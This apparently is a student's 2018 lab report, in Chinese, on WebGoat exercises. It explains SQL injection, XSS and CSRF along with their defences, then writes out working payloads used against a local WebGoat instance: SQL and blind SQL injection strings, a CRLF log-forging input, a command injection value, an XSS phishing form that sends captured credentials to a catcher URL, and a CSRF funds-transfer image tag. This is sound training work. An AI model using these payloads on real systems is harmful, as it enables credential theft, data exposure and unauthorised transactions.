20154309 【网络对抗技术】Exp9: Web安全基础实践

20154309 【网络对抗技术】Exp9: Web安全基础实践

一、基础问题

  • SQL注入攻击原理,如何防御
  • SQL注入漏洞是指在Web应用对后台数据库查询语句处理存在的安全漏洞。也就是,在输入字符串中嵌入SQL指令,在设计程序中忽略对可能构成攻击的特殊字符串的检查。后台数据库将其认作正常SQL指令后正常执行,可能实现对后台数据库进行各种操作,甚至造成破坏后台数据库等严重后果。
  • SQL注入一般分为普通注入和盲注。
    • 普通注入:后台数据库会回显有价值的提示信息,通过这些可能的报错信息可以更容易地进行注入,适合新手入门训练。
    • 盲注:后台管理员在给出错误页面时,没有提供详细错误信息。攻击者需要运用脚本通过仅有的判断信息(比如时间差)对表中的每一个字段进行探测,从而实现注入。
  • 防御:对输入的数据进行过滤,过滤掉敏感字符。加密数据库。
  • XSS攻击的原理,如何防御
  • 攻击者利用网站漏洞(通常这些漏洞是指网站后台处理程序没有很好的对用户输入进行过滤),输入可以显示在页面上的、对其他用户造成影响的HTML代码;由于受害者浏览器对目标服务器的信任,当其访问目标服务器上被注入恶意脚本的页面后,这段恶意脚本可以顺利执行,实现获取用户cookie并可以利用用户身份进行非法操作的目的。
  • 浏览器自身可以识别简单的XSS攻击字符串,从而阻止简单的XSS攻击;从根本上说,解决办法是消除网站的XSS漏洞,这就需要网站开发者运用转义安全字符等手段。
  • CSRF攻击原理,如何防御
  • CSRF攻击的主要目的是让用户在不知情的情况下攻击自己已登录的一个系统,类似于钓鱼。如用户当前已经登录了邮箱,或bbs,同时用户又在使用另外一个,已经被你控制的站点,我们姑且叫它钓鱼网站。这个网站上面可能因为某个图片吸引你,你去点击一下,此时可能就会触发一个js的点击事件,构造一个bbs发帖的请求,去往你的bbs发帖,由于当前你的浏览器状态已经是登陆状态,所以session登陆cookie信息都会跟正常的请求一样,纯天然的利用当前的登陆状态,让用户在不知情的情况下,帮你发帖或干其他事情
  • 通过 referer、token 或者 验证码 来检测用户提交。尽量不要在页面的链接中暴露用户隐私信息。对于用户修改删除等操作最好都使用post 操作

二、实践过程

1.开启webgoat

在终端中输入java -jar webgoat-container-7.0.1-war-exec.jar开启 WebGoat

当页面成功停在下图位置时,最小化终端窗口:

打开浏览器,在地址栏输入 localhost:8080/WebGoat 打开 WebGoat,选择默认账号、密码即可登陆成功。

2.SQL字符串注入(String SQL Injection)

使用SQL注入,显示出数据库所有信用卡号。可以先输入Plane试一试,发现出现在 SELECT * FROM user_data WHERE last_name = 'Plane' 两个单引号中间,也就是我们可以通过控制在输入框中输入的字符串,达到控制select语句的目的

输入'or 1='1,语句就变成SELECT * FROM user_data WHERE last_name = ''or 1='1',这句的意思就是查询lastname='' OR(或者)1='1' ,这里的 1='1' 永远为真,所以成功通过。

3.日志欺骗(Log Spooling)

利用日志的格式,使用换行等字符,欺骗管理员:Use CR (%0d) and LF (%0a) for a new line。
比如输入 lyq%0d%0aLogin Succeeded for username: admin

4.Numeric SQL Injection

  • 题目所指表单允许使用者看到天气数据,利用SQL注入可以获得所有数据信息
  • 和之前的实验类似,只要加上一个1=1这种永真式即可达到我们的目的
  • 使用inspect Element对源代码进行修改,在任意一个值比如101旁边加上or 1=1
    -
    实验结果

5.Command Injection

  • 尝试给操作系统注入命令行,要求能够在目标主机上执行系统命令
  • 通过火狐浏览器的inspect Element对源代码进行修改,右键点击BackDoors.help,,这样就可以直接定位到需要修改的位置,无需一行一行代码的查看了
  • 例如在BackDoors.help旁边加上"& netstat -an & ipconfig"

6.Stage 1:String SQL Injection

使用字符串SQL注入在没有正确密码的情况下登录账号boss
同样,用用户Neville登录,在密码栏中输入 or 1='1' 进行SQL注入,发现登陆失败。

查看了一下网页源码,发现输入框对输入的字符长度进行了限制,最多只允许输入8个字符

对字符长度进行修改

重新登录,登录成功

7.XPATH Injiction

使用账户户Mik/Test123,目标是试着去查看其他员工的数据。

使用一个普通的用户名和密码,XPath会起作用,但是攻击者可能会发送一个坏用户名和密码,并在不知道用户名或密码的情况下,选择一个XML节点,如下所示:

8.Blind String SQL Injection

  • 使用盲注进行爆破,在“Enter your Account Number”输入
    101 AND (SUBSTRING((SELECT name FROM pins WHERE cc_number='5213521352135213'), 1, 1) = 'h' );
  • 根据返回的提示来判断name的范围,直至返回成功,然后把Jill输入表单,提交,如下图所示

9.Phishing with XSS

</form>
  <script>
function hack(){ 
XSSImage=new Image;
XSSImage.src="http://localhost:8080/WebGoat/catcher?PROPERTY=yes&user=" + document.phish.user.value + "&password=" + document.phish.pass.value + "";
alert("Had this been a real attack... Your credentials were just stolen. User Name = " + document.phish.user.value + " Password = " + document.phish.pass.value);
} 
  </script>
<form name="phish">
<br>
<br>
<HR>
  <H2>This feature requires account login:</H2>
<br>
  <br>Enter Username:<br>
  <input type="text" name="user">
  <br>Enter Password:<br>
  <input type="password" name = "pass">
<br>
  <input type="submit" name="login" value="login" onclick="hack()">
</form>
<br>
<br>
<HR>


在搜索框中输入攻击代码后点击搜索,会看到一个要求输入用户名密码的表单如下

将这段代码输入到输入框中,点击search出现如下登录框,在登录框中输入用户名、密码:

点击登录后跳出弹框,其中包含用户输入的用户名、密码。攻击成功!

10.Stored XSS Attacks

要求创建非法的消息内容,可以导致其他用户访问时载入非预期的页面或内容
在Message中构造语句,提交后,可以发现刚刚创建的帖子20154309

11.Reflected XSS Attacks

我们在访问一个网页的时候,在URL后面加上参数,服务器根据请求的参数值构造不同的HTML返回。
value可能出现在返回的HTML(可能是JS,HTML某元素的内容或者属性)中,
如果将value改成可以在浏览器中被解释执行的东西,就形成了反射型XSS.
有人会问,我怎么可能自己去把value改成可以执行的恶意代码呢?这不是自己坑自己吗.
但是一种情况是别人可能修改这个value值,然后将这个恶意的URL发送给你,或者别人,当URL地址被打开时,
特有的恶意代码参数被HTML解析,执行.它的特点是非持久化,必须用户点击带有特定参数的链接才能引起

打开xss的第三个攻击,在code框中输入<script>alert("I am 20154309lyq");</script>

点击Purchase出现对话框,显示I am 20154309liuyanqing。攻击成功!

12.Cross Site Request Forgery(CSRF)

写一个URL诱使其他用户点击,从而触发CSRF攻击,我们可以以图片的的形式将URL放进Message框,这时的URL对其他用户是不可见的,用户一旦点击图片,就会触发一个CSRF事件
在message框中输入

<img src="http://localhost:8080/WebGoat/attack?
Screen=288&menu=900&transferFunds=5213"/>

提交后在下面的Message List里面可以看我刚刚发送的消息

点击该消息,当前页面就会下载这个消息并显示出来,转走用户的5213元,从而达到CSRF攻击的

三、实验总结

  • 在安全领域,一般用帽子的颜色来比喻黑客的善与恶,“白帽子”和”黑帽子”是就是两个完全对立的群体。对于黑帽子而言,他们只要找到系统的一个切入点就可以达到入侵破坏的目的,而白帽子必须将自己系统所有可能被突破的地方都设防,以保证系统的安全运行。
  • 看起来好像是不公平的,但是安全世界里的规则就是这样,可能我们的网站1000处都布防的很好,考虑的很周到,但是只要有一个地方疏忽了,攻击者就会利用这个点进行突破,让我们另外的1000处努力白费。
  • 而现在我们很多网络模型都是B/S结构,这样web安全问题就越来越突出了,本次实践只是冰山一角,真正现实中可能会遇到更多更复杂的问题。

posted on 2018-05-30 00:43  4309yanqing  阅读(140)  评论(0编辑  收藏

导航